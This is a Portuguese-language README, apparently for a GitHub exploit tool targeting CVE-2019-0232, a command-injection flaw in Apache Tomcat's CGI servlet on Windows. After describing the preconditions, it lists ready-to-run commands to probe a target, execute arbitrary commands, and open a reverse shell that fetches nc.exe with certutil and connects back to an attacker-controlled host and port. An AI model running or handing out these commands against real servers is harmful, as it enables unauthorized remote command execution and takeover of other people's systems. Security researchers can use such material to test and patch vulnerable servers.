CVE-2019-0232

Descrição

O Apache Tomcat com o servlet CGI habilitado e enableCmdLineArguments=true passa parâmetros de string de consulta como argumentos de linha de comando para scripts CGI. No Windows, arquivos de lote (.bat/.cmd) interpretam & como um separador de comandos, permitindo a execução arbitrária de comandos por meio de uma URL maliciosa.

Pré-condições

• Servlet CGI habilitado em conf/web.xml ou WEB-INF/web.xml
• enableCmdLineArguments=true nos init-params do servlet CGI
• Um script CGI (ex.: ism.bat) implantado e acessível
• Alvo Windows (arquivos de lote são necessários para injeção de &)

Uso

git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt

Verifique se o endpoint CGI existe:

python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat

Execute um comando:

python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'

Reverse shell (certutil em 2 estágios + nc.exe):

python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444

Requisitos

• Python 3.8+
• requests
• Alvo Windows (a vulnerabilidade é específica do sistema operacional)